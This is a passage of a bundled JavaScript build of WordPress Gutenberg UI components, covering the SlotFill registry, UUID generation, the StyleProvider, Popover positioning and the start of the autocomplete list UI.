28144 slots: (0, import_compose10.observableMap)(),
28145 fills: (0, import_compose10.observableMap)(),
28146 registerSlot: () => {
28147 true ? (0, import_warning4.default)("Components must be wrapped within `SlotFillProvider`. See https://developer.wordpress.org/block-editor/components/slot-fill/") : void 0;
28148 },
28149 unregisterSlot: () => {
28150 },
28151 updateSlot: () => {
28152 },
28153 registerFill: () => {
28154 },
28155 unregisterFill: () => {
28156 },
28157 updateFill: () => {
28158 },
28159 // This helps the provider know if it's using the default context value or not.
28160 isDefault: true
28161 };
28162 var SlotFillContext = (0, import_element41.createContext)(initialValue);
28163 SlotFillContext.displayName = "SlotFillContext";
28164 var context_default = SlotFillContext;
28165
28166 // node_modules/uuid/dist/esm-browser/rng.js
28167 var getRandomValues;
28168 var rnds8 = new Uint8Array(16);
28169 function rng() {
28170 if (!getRandomValues) {
28171 getRandomValues = typeof crypto !== "undefined" && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
28172 if (!getRandomValues) {
28173 throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");
28174 }
28175 }
28176 return getRandomValues(rnds8);
28177 }
28178
28179 // node_modules/uuid/dist/esm-browser/stringify.js
28180 var byteToHex = [];
28181 for (let i3 = 0; i3 < 256; ++i3) {
28182 byteToHex.push((i3 + 256).toString(16).slice(1));
28183 }
28184 function unsafeStringify(arr, offset3 = 0) {
28185 return byteToHex[arr[offset3 + 0]] + byteToHex[arr[offset3 + 1]] + byteToHex[arr[offset3 + 2]] + byteToHex[arr[offset3 + 3]] + "-" + byteToHex[arr[offset3 + 4]] + byteToHex[arr[offset3 + 5]] + "-" + byteToHex[arr[offset3 + 6]] + byteToHex[arr[offset3 + 7]] + "-" + byteToHex[arr[offset3 + 8]] + byteToHex[arr[offset3 + 9]] + "-" + byteToHex[arr[offset3 + 10]] + byteToHex[arr[offset3 + 11]] + byteToHex[arr[offset3 + 12]] + byteToHex[arr[offset3 + 13]] + byteToHex[arr[offset3 + 14]] + byteToHex[arr[offset3 + 15]];
28186 }
28187
28188 // node_modules/uuid/dist/esm-browser/native.js
28189 var randomUUID = typeof crypto !== "undefined" && crypto.randomUUID && crypto.randomUUID.bind(crypto);
28190 var native_default = {
28191 randomUUID
28192 };
28193
28194 // node_modules/uuid/dist/esm-browser/v4.js
28195 function v4(options2, buf, offset3) {
28196 if (native_default.randomUUID && !buf && !options2) {
28197 return native_default.randomUUID();
28198 }
28199 options2 = options2 || {};
28200 const rnds = options2.random || (options2.rng || rng)();
28201 rnds[6] = rnds[6] & 15 | 64;
28202 rnds[8] = rnds[8] & 63 | 128;
28203 if (buf) {
28204 offset3 = offset3 || 0;
28205 for (let i3 = 0; i3 < 16; ++i3) {
28206 buf[offset3 + i3] = rnds[i3];
28207 }
28208 return buf;
28209 }
28210 return unsafeStringify(rnds);
28211 }
28212 var v4_default = v4;
28213
28214 // packages/components/build-module/style-provider/index.mjs
28215 var import_jsx_runtime103 = __toESM(require_jsx_runtime(), 1);
28216 var uuidCache = /* @__PURE__ */ new Set();
28217 var containerCacheMap = /* @__PURE__ */ new WeakMap();
28218 var memoizedCreateCacheWithContainer = (container) => {
28219 if (containerCacheMap.has(container)) {
28220 return containerCacheMap.get(container);
28221 }
28222 let key = v4_default().replace(/[0-9]/g, "");
28223 while (uuidCache.has(key)) {
28224 key = v4_default().replace(/[0-9]/g, "");
28225 }
28226 uuidCache.add(key);
28227 const cache2 = createCache({
28228 container,
28229 key
28230 });
28231 containerCacheMap.set(container, cache2);
28232 return cache2;
28233 };
28234 function StyleProvider(props) {
28235 const {
28236 children,
28237 document: document2
28238 } = props;
28239 if (!document2) {
28240 return null;
28241 }
28242 const cache2 = memoizedCreateCacheWithContainer(document2.head);
28243 return /* @__PURE__ */ (0, import_jsx_runtime103.jsx)(CacheProvider, {
28244 value: cache2,
28245 children
28246 });
28247 }
28248 var style_provider_default = StyleProvider;
28249
28250 // packages/components/build-module/slot-fill/fill.mjs
28251 var import_jsx_runtime104 = __toESM(require_jsx_runtime(), 1);
28252 function Fill({
28253 name,
28254 children
28255 }) {
28256 const registry = (0, import_element42.useContext)(context_default);
28257 const instanceRef = (0, import_element42.useRef)({});
28258 const childrenRef = (0, import_element42.useRef)(children);
28259 (0, import_element42.useLayoutEffect)(() => {
28260 childrenRef.current = children;
28261 }, [children]);
28262 (0, import_element42.useLayoutEffect)(() => {
28263 const instance = instanceRef.current;
28264 registry.registerFill(name, {
28265 instance,
28266 children: childrenRef.current
28267 });
28268 return () => registry.unregisterFill(name, instance);
28269 }, [registry, name]);
28270 (0, import_element42.useLayoutEffect)(() => {
28271 registry.updateFill(name, {
28272 instance: instanceRef.current,
28273 children: childrenRef.current
28274 });
28275 });
28276 const slot = (0, import_compose11.useObservableValue)(registry.slots, name);
28277 if (!slot) {
28278 return null;
28279 }
28280 if (slot.type === "children") {
28281 return null;
28282 }
28283 const portalEl = slot.ref.current;
28284 if (!portalEl) {
28285 return null;
28286 }
28287 const wrappedChildren = typeof children === "function" ? children(slot.fillProps ?? {}) : children;
28288 return (0, import_element42.createPortal)(/* @__PURE__ */ (0, import_jsx_runtime104.jsx)(style_provider_default, {
28289 document: portalEl.ownerDocument,
28290 children: wrappedChildren
28291 }), portalEl);
28292 }
28293
28294 // packages/components/build-module/slot-fill/slot.mjs
28295 var import_compose12 = __toESM(require_compose(), 1);
28296 var import_element43 = __toESM(require_element(), 1);
28297 var import_jsx_runtime105 = __toESM(require_jsx_runtime(), 1);
28298 function isFunction(maybeFunc) {
28299 return typeof maybeFunc === "function";
28300 }
28301 function addKeysToChildren(children) {
28302 return import_element43.Children.map(children, (child, childIndex) => {
28303 if (!child || typeof child === "string") {
28304 return child;
28305 }
28306 let childKey = childIndex;
28307 if (typeof child === "object" && "key" in child && child?.key) {
28308 childKey = child.key;
28309 }
28310 return (0, import_element43.cloneElement)(child, {
28311 key: childKey
28312 });
28313 });
28314 }
28315 function Slot(props) {
28316 const {
28317 name,
28318 children,
28319 fillProps = {}
28320 } = props;
28321 const registry = (0, import_element43.useContext)(context_default);
28322 const instanceRef = (0, import_element43.useRef)({});
28323 (0, import_element43.useLayoutEffect)(() => {
28324 const instance = instanceRef.current;
28325 registry.registerSlot(name, {
28326 type: "children",
28327 instance
28328 });
28329 return () => registry.unregisterSlot(name, instance);
28330 }, [registry, name]);
28331 let fills = (0, import_compose12.useObservableValue)(registry.fills, name) ?? [];
28332 const currentSlot = (0, import_compose12.useObservableValue)(registry.slots, name);
28333 if (!currentSlot || currentSlot.instance !== instanceRef.current) {
28334 fills = [];
28335 }
28336 const renderedFills = fills.map((fill) => {
28337 const fillChildren = isFunction(fill.children) ? fill.children(fillProps) : fill.children;
28338 return addKeysToChildren(fillChildren);
28339 }).filter(
28340 // In some cases fills are rendered only when some conditions apply.
28341 // This ensures that we only use non-empty fills when rendering, i.e.,
28342 // it allows us to render wrappers only when the fills are actually present.
28343 (element) => !(0, import_element43.isEmptyElement)(element)
28344 );
28345 return /* @__PURE__ */ (0, import_jsx_runtime105.jsx)(import_jsx_runtime105.Fragment, {
28346 children: isFunction(children) ? children(renderedFills) : renderedFills
28347 });
28348 }
28349 var slot_default = Slot;
28350
28351 // packages/components/build-module/slot-fill/bubbles-virtually/slot.mjs
28352 var import_element44 = __toESM(require_element(), 1);
28353 var import_compose13 = __toESM(require_compose(), 1);
28354 var import_jsx_runtime106 = __toESM(require_jsx_runtime(), 1);
28355 function Slot2(props, forwardedRef) {
28356 const {
28357 name,
28358 fillProps = {},
28359 as,
28360 // `children` is not allowed. However, if it is passed,
28361 // it will be displayed as is, so remove `children`.
28362 children,
28363 ...restProps
28364 } = props;
28365 const registry = (0, import_element44.useContext)(context_default);
28366 const instanceRef = (0, import_element44.useRef)({});
28367 const ref = (0, import_element44.useRef)(null);
28368 const fillPropsRef = (0, import_element44.useRef)(fillProps);
28369 (0, import_element44.useLayoutEffect)(() => {
28370 fillPropsRef.current = fillProps;
28371 }, [fillProps]);
28372 (0, import_element44.useLayoutEffect)(() => {
28373 const instance = instanceRef.current;
28374 registry.registerSlot(name, {
28375 type: "portal",
28376 instance,
28377 ref,
28378 fillProps: fillPropsRef.current
28379 });
28380 return () => registry.unregisterSlot(name, instance);
28381 }, [registry, name]);
28382 (0, import_element44.useLayoutEffect)(() => {
28383 registry.updateSlot(name, {
28384 type: "portal",
28385 instance: instanceRef.current,
28386 ref,
28387 fillProps: fillPropsRef.current
28388 });
28389 });
28390 return /* @__PURE__ */ (0, import_jsx_runtime106.jsx)(component_default, {
28391 as,
28392 ref: (0, import_compose13.useMergeRefs)([forwardedRef, ref]),
28393 ...restProps
28394 });
28395 }
28396 var slot_default2 = (0, import_element44.forwardRef)(Slot2);
28397
28398 // packages/components/build-module/slot-fill/provider.mjs
28399 var import_compose14 = __toESM(require_compose(), 1);
28400 var import_element45 = __toESM(require_element(), 1);
28401 var import_is_shallow_equal = __toESM(require_is_shallow_equal(), 1);
28402 var import_jsx_runtime107 = __toESM(require_jsx_runtime(), 1);
28403 function createSlotRegistry() {
28404 const slots = (0, import_compose14.observableMap)();
28405 const fills = (0, import_compose14.observableMap)();
28406 function registerSlot(name, slot) {
28407 slots.set(name, slot);
28408 }
28409 function unregisterSlot(name, instance) {
28410 const currentSlot = slots.get(name);
28411 if (!currentSlot || currentSlot.instance !== instance) {
28412 return;
28413 }
28414 slots.delete(name);
28415 }
28416 function updateSlot(name, slot) {
28417 if (slot.type !== "portal") {
28418 return;
28419 }
28420 const slotForName = slots.get(name);
28421 if (!slotForName) {
28422 return;
28423 }
28424 if (slotForName.type !== "portal") {
28425 return;
28426 }
28427 if (slotForName.instance !== slot.instance) {
28428 return;
28429 }
28430 if ((0, import_is_shallow_equal.isShallowEqual)(slotForName.fillProps, slot.fillProps)) {
28431 return;
28432 }
28433 slots.set(name, slot);
28434 }
28435 function registerFill(name, fill) {
28436 fills.set(name, [...fills.get(name) || [], fill]);
28437 }
28438 function unregisterFill(name, instance) {
28439 const fillsForName = fills.get(name);
28440 if (!fillsForName) {
28441 return;
28442 }
28443 fills.set(name, fillsForName.filter((fill) => fill.instance !== instance));
28444 }
28445 function updateFill(name, fill) {
28446 const fillsForName = fills.get(name);
28447 if (!fillsForName) {
28448 return;
28449 }
28450 const fillForInstance = fillsForName.find((f3) => f3.instance === fill.instance);
28451 if (!fillForInstance) {
28452 return;
28453 }
28454 if (fillForInstance.children === fill.children) {
28455 return;
28456 }
28457 fills.set(name, fillsForName.map((f3) => {
28458 if (f3.instance === fill.instance) {
28459 return fill;
28460 }
28461 return f3;
28462 }));
28463 }
28464 return {
28465 slots,
28466 fills,
28467 registerSlot,
28468 unregisterSlot,
28469 updateSlot,
28470 registerFill,
28471 unregisterFill,
28472 updateFill
28473 };
28474 }
28475 function SlotFillProvider({
28476 children
28477 }) {
28478 const [contextValue] = (0, import_element45.useState)(createSlotRegistry);
28479 return /* @__PURE__ */ (0, import_jsx_runtime107.jsx)(context_default.Provider, {
28480 value: contextValue,
28481 children
28482 });
28483 }
28484 var provider_default = SlotFillProvider;
28485
28486 // packages/components/build-module/slot-fill/index.mjs
28487 var import_jsx_runtime108 = __toESM(require_jsx_runtime(), 1);
28488
28489 // packages/components/build-module/slot-fill/bubbles-virtually/use-slot.mjs
28490 var import_element46 = __toESM(require_element(), 1);
28491 var import_compose15 = __toESM(require_compose(), 1);
28492 function useSlot(name) {
28493 const registry = (0, import_element46.useContext)(context_default);
28494 const slot = (0, import_compose15.useObservableValue)(registry.slots, name);
28495 let ref;
28496 if (slot && slot.type === "portal") {
28497 ref = slot.ref;
28498 }
28499 return {
28500 ref
28501 };
28502 }
28503
28504 // packages/components/build-module/slot-fill/bubbles-virtually/use-slot-fills.mjs
28505 var import_element47 = __toESM(require_element(), 1);
28506 function useObservableValueWithSelector(map, name, selector2) {
28507 const subscribe2 = (0, import_element47.useMemo)(() => (listener) => map.subscribe(name, listener), [map, name]);
28508 const getValue3 = () => selector2(map.get(name));
28509 return (0, import_element47.useSyncExternalStore)(subscribe2, getValue3, getValue3);
28510 }
28511 function getLength(array) {
28512 return array?.length;
28513 }
28514 function useSlotFills(name) {
28515 const registry = (0, import_element47.useContext)(context_default);
28516 const length2 = useObservableValueWithSelector(registry.fills, name, getLength);
28517 const fills = (0, import_element47.useMemo)(() => {
28518 return length2 !== void 0 ? Array.from({
28519 length: length2
28520 }) : void 0;
28521 }, [length2]);
28522 return fills;
28523 }
28524
28525 // packages/components/build-module/slot-fill/index.mjs
28526 var Slot3 = (0, import_element48.forwardRef)((props, ref) => {
28527 const {
28528 bubblesVirtually,
28529 ...restProps
28530 } = props;
28531 if (bubblesVirtually) {
28532 return /* @__PURE__ */ (0, import_jsx_runtime108.jsx)(slot_default2, {
28533 ...restProps,
28534 ref
28535 });
28536 }
28537 return /* @__PURE__ */ (0, import_jsx_runtime108.jsx)(slot_default, {
28538 ...restProps
28539 });
28540 });
28541 Slot3.displayName = "Slot";
28542 function Provider({
28543 children,
28544 passthrough = false
28545 }) {
28546 const parent = (0, import_element48.useContext)(context_default);
28547 if (!parent.isDefault && passthrough) {
28548 return /* @__PURE__ */ (0, import_jsx_runtime108.jsx)(import_jsx_runtime108.Fragment, {
28549 children
28550 });
28551 }
28552 return /* @__PURE__ */ (0, import_jsx_runtime108.jsx)(provider_default, {
28553 children
28554 });
28555 }
28556 Provider.displayName = "SlotFillProvider";
28557 function createSlotFill(key) {
28558 const baseName = typeof key === "symbol" ? key.description : key;
28559 const FillComponent = (props) => /* @__PURE__ */ (0, import_jsx_runtime108.jsx)(Fill, {
28560 name: key,
28561 ...props
28562 });
28563 FillComponent.displayName = `${baseName}Fill`;
28564 const SlotComponent = (0, import_element48.forwardRef)((props, ref) => /* @__PURE__ */ (0, import_jsx_runtime108.jsx)(Slot3, {
28565 name: key,
28566 ref,
28567 ...props
28568 }));
28569 SlotComponent.displayName = `${baseName}Slot`;
28570 SlotComponent.__unstableName = key;
28571 return {
28572 name: key,
28573 Fill: FillComponent,
28574 Slot: SlotComponent
28575 };
28576 }
28577
28578 // packages/components/build-module/popover/overlay-middlewares.mjs
28579 function overlayMiddlewares() {
28580 return [{
28581 name: "overlay",
28582 fn({
28583 rects
28584 }) {
28585 return rects.reference;
28586 }
28587 }, size2({
28588 apply({
28589 rects,
28590 elements: elements2
28591 }) {
28592 const {
28593 firstElementChild
28594 } = elements2.floating ?? {};
28595 if (!(firstElementChild instanceof HTMLElement)) {
28596 return;
28597 }
28598 Object.assign(firstElementChild.style, {
28599 width: `${rects.reference.width}px`,
28600 height: `${rects.reference.height}px`
28601 });
28602 }
28603 })];
28604 }
28605
28606 // packages/components/build-module/popover/context.mjs
28607 var import_element49 = __toESM(require_element(), 1);
28608 var slotNameContext = (0, import_element49.createContext)(void 0);
28609 slotNameContext.displayName = "__unstableSlotNameContext";
28610
28611 // packages/components/build-module/popover/index.mjs
28612 var import_jsx_runtime109 = __toESM(require_jsx_runtime(), 1);
28613 var SLOT_NAME = "Popover";
28614 var OVERFLOW_PADDING = 8;
28615 var ArrowTriangle = () => /* @__PURE__ */ (0, import_jsx_runtime109.jsxs)(import_primitives32.SVG, {
28616 xmlns: "http://www.w3.org/2000/svg",
28617 viewBox: "0 0 100 100",
28618 className: "components-popover__triangle",
28619 role: "presentation",
28620 children: [/* @__PURE__ */ (0, import_jsx_runtime109.jsx)(import_primitives32.Path, {
28621 className: "components-popover__triangle-bg",
28622 d: "M 0 0 L 50 50 L 100 0"
28623 }), /* @__PURE__ */ (0, import_jsx_runtime109.jsx)(import_primitives32.Path, {
28624 className: "components-popover__triangle-border",
28625 d: "M 0 0 L 50 50 L 100 0",
28626 vectorEffect: "non-scaling-stroke"
28627 })]
28628 });
28629 var fallbackContainerClassname = "components-popover__fallback-container";
28630 var getPopoverFallbackContainer = () => {
28631 let container = document.body.querySelector("." + fallbackContainerClassname);
28632 if (!container) {
28633 container = document.createElement("div");
28634 container.className = fallbackContainerClassname;
28635 document.body.append(container);
28636 }
28637 return container;
28638 };
28639 var UnforwardedPopover = (props, forwardedRef) => {
28640 const {
28641 animate = true,
28642 headerTitle,
28643 constrainTabbing,
28644 onClose,
28645 children,
28646 className: className2,
28647 noArrow = true,
28648 position: position2,
28649 placement: placementProp = "bottom-start",
28650 offset: offsetProp = 0,
28651 focusOnMount = "firstElement",
28652 anchor,
28653 expandOnMobile,
28654 onFocusOutside,
28655 __unstableSlotName = SLOT_NAME,
28656 flip: flip3 = true,
28657 resize = true,
28658 shift: shift3 = false,
28659 inline: inline3 = false,
28660 variant,
28661 style: contentStyle,
28662 // Deprecated props
28663 __unstableForcePosition,
28664 anchorRef,
28665 anchorRect,
28666 getAnchorRect,
28667 isAlternate,
28668 // Rest
28669 ...contentProps
28670 } = useContextSystem(props, "Popover");
28671 let computedFlipProp = flip3;
28672 let computedResizeProp = resize;
28673 if (__unstableForcePosition !== void 0) {
28674 (0, import_deprecated6.default)("`__unstableForcePosition` prop in wp.components.Popover", {
28675 since: "6.1",
28676 version: "6.3",
28677 alternative: "`flip={ false }` and `resize={ false }`"
28678 });
28679 computedFlipProp = !__unstableForcePosition;
28680 computedResizeProp = !__unstableForcePosition;
28681 }
28682 if (anchorRef !== void 0) {
28683 (0, import_deprecated6.default)("`anchorRef` prop in wp.components.Popover", {
28684 since: "6.1",
28685 alternative: "`anchor` prop"
28686 });
28687 }
28688 if (anchorRect !== void 0) {
28689 (0, import_deprecated6.default)("`anchorRect` prop in wp.components.Popover", {
28690 since: "6.1",
28691 alternative: "`anchor` prop"
28692 });
28693 }
28694 if (getAnchorRect !== void 0) {
28695 (0, import_deprecated6.default)("`getAnchorRect` prop in wp.components.Popover", {
28696 since: "6.1",
28697 alternative: "`anchor` prop"
28698 });
28699 }
28700 const computedVariant = isAlternate ? "toolbar" : variant;
28701 if (isAlternate !== void 0) {
28702 (0, import_deprecated6.default)("`isAlternate` prop in wp.components.Popover", {
28703 since: "6.2",
28704 alternative: "`variant` prop with the `'toolbar'` value"
28705 });
28706 }
28707 const arrowRef = (0, import_element50.useRef)(null);
28708 const [fallbackReferenceElement, setFallbackReferenceElement] = (0, import_element50.useState)(null);
28709 const anchorRefFallback = (0, import_element50.useCallback)((node2) => {
28710 setFallbackReferenceElement(node2);
28711 }, []);
28712 const isMobileViewport = (0, import_compose16.useViewportMatch)("medium", "<");
28713 const isExpanded = expandOnMobile && isMobileViewport;
28714 const hasArrow = !isExpanded && !noArrow;
28715 const normalizedPlacementFromProps = position2 ? positionToPlacement(position2) : placementProp;
28716 const middleware2 = [...placementProp === "overlay" ? overlayMiddlewares() : [], offset2(offsetProp), computedFlipProp && flip2(), computedResizeProp && size2({
28717 padding: OVERFLOW_PADDING,
28718 apply(sizeProps) {
28719 const {
28720 firstElementChild
28721 } = refs.floating.current ?? {};
28722 if (!(firstElementChild instanceof HTMLElement)) {
28723 return;
28724 }
28725 Object.assign(firstElementChild.style, {
28726 maxHeight: `${Math.max(0, sizeProps.availableHeight)}px`,
28727 overflow: "auto"
28728 });
28729 }
28730 }), shift3 && shift2({
28731 crossAxis: true,
28732 limiter: limitShift2(),
28733 padding: 1
28734 // Necessary to avoid flickering at the edge of the viewport.
28735 }), arrow3({
28736 element: arrowRef
28737 })];
28738 const slotName = (0, import_element50.useContext)(slotNameContext) || __unstableSlotName;
28739 const slot = useSlot(slotName);
28740 let onDialogClose;
28741 if (onClose || onFocusOutside) {
28742 onDialogClose = (type, event) => {
28743 if (type === "focus-outside") {
28744 const blurTarget = event?.target;
28745 const referenceElement = refs.reference.current;
28746 const floatingElement = refs.floating.current;
28747 const isBlurFromThisPopover = referenceElement && "contains" in referenceElement && referenceElement.contains(blurTarget) || floatingElement?.contains(blurTarget);
28748 const ownerDocument = floatingElement?.ownerDocument;
28749 if (!isBlurFromThisPopover && !("relatedTarget" in event && event.relatedTarget) && ownerDocument?.activeElement === ownerDocument?.body) {
28750 return;
28751 }
28752 if (onFocusOutside) {
28753 onFocusOutside(event);
28754 } else if (onClose) {
28755 onClose();
28756 }
28757 } else if (onClose) {
28758 onClose();
28759 }
28760 };
28761 }
28762 const [dialogRef, dialogProps] = (0, import_compose16.__experimentalUseDialog)({
28763 constrainTabbing,
28764 focusOnMount,
28765 __unstableOnClose: onDialogClose,
28766 // @ts-expect-error The __unstableOnClose property needs to be deprecated first (see https://github.com/WordPress/gutenberg/pull/27675)
28767 onClose: onDialogClose
28768 });
28769 const {
28770 // Positioning coordinates
28771 x: x2,
28772 y: y3,
28773 // Object with "regular" refs to both "reference" and "floating"
28774 refs,
28775 // Type of CSS position property to use (absolute or fixed)
28776 strategy,
28777 update,
28778 placement: computedPlacement,
28779 middlewareData: {
28780 arrow: arrowData
28781 }
28782 } = useFloating({
28783 placement: normalizedPlacementFromProps === "overlay" ? void 0 : normalizedPlacementFromProps,
28784 middleware: middleware2,
28785 whileElementsMounted: (referenceParam, floatingParam, updateParam) => autoUpdate(referenceParam, floatingParam, updateParam, {
28786 layoutShift: false,
28787 animationFrame: true
28788 })
28789 });
28790 const arrowCallbackRef = (0, import_element50.useCallback)((node2) => {
28791 arrowRef.current = node2;
28792 update();
28793 }, [update]);
28794 const anchorRefTop = anchorRef?.top;
28795 const anchorRefBottom = anchorRef?.bottom;
28796 const anchorRefStartContainer = anchorRef?.startContainer;
28797 const anchorRefCurrent = anchorRef?.current;
28798 (0, import_element50.useLayoutEffect)(() => {
28799 const resultingReferenceElement = getReferenceElement({
28800 anchor,
28801 anchorRef,
28802 anchorRect,
28803 getAnchorRect,
28804 fallbackReferenceElement
28805 });
28806 refs.setReference(resultingReferenceElement);
28807 }, [anchor, anchorRef, anchorRefTop, anchorRefBottom, anchorRefStartContainer, anchorRefCurrent, anchorRect, getAnchorRect, fallbackReferenceElement, refs]);
28808 const mergedFloatingRef = (0, import_compose16.useMergeRefs)([refs.setFloating, dialogRef, forwardedRef]);
28809 const style2 = isExpanded ? void 0 : {
28810 position: strategy,
28811 top: 0,
28812 left: 0,
28813 // `x` and `y` are framer-motion specific props and are shorthands
28814 // for `translateX` and `translateY`. Currently it is not possible
28815 // to use `translateX` and `translateY` because those values would
28816 // be overridden by the return value of the
28817 // `placementToMotionAnimationProps` function.
28818 x: computePopoverPosition(x2),
28819 y: computePopoverPosition(y3)
28820 };
28821 const shouldReduceMotion = (0, import_compose16.useReducedMotion)();
28822 const shouldAnimate = animate && !isExpanded && !shouldReduceMotion;
28823 const [animationFinished, setAnimationFinished] = (0, import_element50.useState)(false);
28824 const {
28825 style: motionInlineStyles,
28826 ...otherMotionProps
28827 } = (0, import_element50.useMemo)(() => placementToMotionAnimationProps(computedPlacement), [computedPlacement]);
28828 const animationProps = shouldAnimate ? {
28829 style: {
28830 ...contentStyle,
28831 ...motionInlineStyles,
28832 ...style2
28833 },
28834 onAnimationComplete: () => setAnimationFinished(true),
28835 ...otherMotionProps
28836 } : {
28837 animate: false,
28838 style: {
28839 ...contentStyle,
28840 ...style2
28841 }
28842 };
28843 const isPositioned = (!shouldAnimate || animationFinished) && x2 !== null && y3 !== null;
28844 let content = /* @__PURE__ */ (0, import_jsx_runtime109.jsxs)(motion.div, {
28845 className: clsx_default(className2, {
28846 "is-expanded": isExpanded,
28847 "is-positioned": isPositioned,
28848 // Use the 'alternate' classname for 'toolbar' variant for back compat.
28849 [`is-${computedVariant === "toolbar" ? "alternate" : computedVariant}`]: computedVariant
28850 }),
28851 ...animationProps,
28852 ...contentProps,
28853 ref: mergedFloatingRef,
28854 ...dialogProps,
28855 tabIndex: -1,
28856 children: [isExpanded && /* @__PURE__ */ (0, import_jsx_runtime109.jsx)(scroll_lock_default, {}), isExpanded && /* @__PURE__ */ (0, import_jsx_runtime109.jsxs)("div", {
28857 className: "components-popover__header",
28858 children: [/* @__PURE__ */ (0, import_jsx_runtime109.jsx)("span", {
28859 className: "components-popover__header-title",
28860 children: headerTitle
28861 }), /* @__PURE__ */ (0, import_jsx_runtime109.jsx)(button_default, {
28862 className: "components-popover__close",
28863 size: "small",
28864 icon: close_default,
28865 onClick: onClose,
28866 label: (0, import_i18n7.__)("Close")
28867 })]
28868 }), /* @__PURE__ */ (0, import_jsx_runtime109.jsx)("div", {
28869 className: "components-popover__content",
28870 children
28871 }), hasArrow && /* @__PURE__ */ (0, import_jsx_runtime109.jsx)("div", {
28872 ref: arrowCallbackRef,
28873 className: ["components-popover__arrow", `is-${computedPlacement.split("-")[0]}`].join(" "),
28874 style: {
28875 left: typeof arrowData?.x !== "undefined" && Number.isFinite(arrowData.x) ? `${arrowData.x}px` : "",
28876 top: typeof arrowData?.y !== "undefined" && Number.isFinite(arrowData.y) ? `${arrowData.y}px` : ""
28877 },
28878 children: /* @__PURE__ */ (0, import_jsx_runtime109.jsx)(ArrowTriangle, {})
28879 })]
28880 });
28881 const shouldRenderWithinSlot = slot.ref && !inline3;
28882 const hasAnchor = anchorRef || anchorRect || anchor;
28883 if (shouldRenderWithinSlot) {
28884 content = /* @__PURE__ */ (0, import_jsx_runtime109.jsx)(Fill, {
28885 name: slotName,
28886 children: content
28887 });
28888 } else if (!inline3) {
28889 content = (0, import_element50.createPortal)(/* @__PURE__ */ (0, import_jsx_runtime109.jsx)(StyleProvider, {
28890 document,
28891 children: content
28892 }), getPopoverFallbackContainer());
28893 }
28894 if (hasAnchor) {
28895 return content;
28896 }
28897 return /* @__PURE__ */ (0, import_jsx_runtime109.jsxs)(import_jsx_runtime109.Fragment, {
28898 children: [/* @__PURE__ */ (0, import_jsx_runtime109.jsx)("span", {
28899 ref: anchorRefFallback
28900 }), content]
28901 });
28902 };
28903 var PopoverSlot = (0, import_element50.forwardRef)(({
28904 name = SLOT_NAME
28905 }, ref) => {
28906 return /* @__PURE__ */ (0, import_jsx_runtime109.jsx)(Slot3, {
28907 bubblesVirtually: true,
28908 name,
28909 className: "popover-slot",
28910 ref
28911 });
28912 });
28913 var Popover3 = Object.assign(contextConnect(UnforwardedPopover, "Popover"), {
28914 /**
28915 * Renders a slot that is used internally by Popover for rendering content.
28916 */
28917 Slot: Object.assign(PopoverSlot, {
28918 displayName: "Popover.Slot"
28919 }),
28920 /**
28921 * Provides a context to manage popover slot names.
28922 *
28923 * This is marked as unstable and should not be used directly.
28924 */
28925 __unstableSlotNameProvider: Object.assign(slotNameContext.Provider, {
28926 displayName: "Popover.__unstableSlotNameProvider"
28927 })
28928 });
28929 var popover_default = Popover3;
28930
28931 // packages/components/build-module/autocomplete/autocompleter-ui.mjs
28932 var import_jsx_runtime110 = __toESM(require_jsx_runtime(), 1);
28933 function ListBox({
28934 items,
28935 onSelect,
28936 selectedIndex,
28937 instanceId,
28938 listBoxId,
28939 className: className2,
28940 Component: Component9 = "div"
28941 }) {
28942 return /* @__PURE__ */ (0, import_jsx_runtime110.jsx)(Component9, {
28943 id: listBoxId,
28944 role: "listbox",
28945 className: "components-autocomplete__results",
28946 children: items.map((option, index2) => /* @__PURE__ */ (0, import_jsx_runtime110.jsx)(button_default, {
28947 id: `components-autocomplete-item-${instanceId}-${option.key}`,
28948 role: "option",
28949 __next40pxDefaultSize: true,
28950 "aria-selected": index2 === selectedIndex,
28951 accessibleWhenDisabled: true,
28952 disabled: option.isDisabled,
28953 className: clsx_default("components-autocomplete__result", className2, {
28954 // Unused, for backwards compatibility.
28955 "is-selected": index2 === selectedIndex
28956 }),
28957 variant: index2 === selectedIndex ? "primary" : void 0,
28958 onClick: () => onSelect(option),
28959 children: option.label
28960 }, option.key))
28961 });
28962 }
28963 function getAutoCompleterUI(autocompleter) {
28964 const useItems = autocompleter.useItems ?? getDefaultUseItems(autocompleter);
28965 function AutocompleterUI({
28966 filterValue,
28967 instanceId,
28968 listBoxId,
28969 className: className2,
28970 selectedIndex,
28971 onChangeOptions,
28972 onSelect,
28973 onReset,
28974 reset,
28975 contentRef
28976 }) {
28977 const [items] = useItems(filterValue);
28978 const popoverAnchor = (0, import_rich_text.useAnchor)({
28979 editableContentElement: contentRef.current
28980 });
28981 const [needsA11yCompat, setNeedsA11yCompat] = (0, import_element51.useState)(false);
28982 const popoverRef = (0, import_element51.useRef)(null);
28983 const popoverRefs = (0, import_compose17.useMergeRefs)([popoverRef, (0, import_compose17.useRefEffect)((node2) => {
28984 if (!contentRef.current) {
28985 return;
28986 }
28987 setNeedsA11yCompat(node2.ownerDocument !== contentRef.current.ownerDocument);
28988 }, [contentRef])]);
28989 useOnClickOutside(popoverRef, reset);
28990 const debouncedSpeak = (0, import_compose17.useDebounce)(import_a11y.speak, 500);
28991 function announce(options2) {
28992 if (!debouncedSpeak) {
28993 return;
28994 }
28995 if (!!options2.length) {
28996 if (filterValue) {
28997 debouncedSpeak((0, import_i18n8.sprintf)(
28998 /* translators: %d: number of results. */
28999 (0, import_i18n8._n)("%d result found, use up and down arrow keys to navigate.", "%d results found, use up and down arrow keys to navigate.", options2.length),
29000 options2.length
29001 ), "assertive");
29002 } else {
29003 debouncedSpeak((0, import_i18n8.sprintf)(
29004 /* translators: %d: number of results. */
29005 (0, import_i18n8._n)("Initial %d result loaded. Type to filter all available results. Use up and down arrow keys to navigate.", "Initial %d results loaded. Type to filter all available results. Use up and down arrow keys to navigate.", options2.length),
29006 options2.length
29007 ), "assertive");
29008 }
29009 } else {
29010 debouncedSpeak((0, import_i18n8.__)("No results."), "assertive");
29011 }
29012 }
29013 (0, import_element51.useLayoutEffect)(() => {
29014 onChangeOptions(items);
29015 announce(items);
29016 }, [items]);
29017 if (items.length === 0) {
29018 return null;
29019 }
29020 return /* @__PURE__ */ (0, import_jsx_runtime110.jsxs)(import_jsx_runtime110.Fragment, {
29021 children: [/* @__PURE__ */ (0, import_jsx_runtime110.jsx)(popover_default, {
29022 offset: 8,
29023 focusOnMount: false,
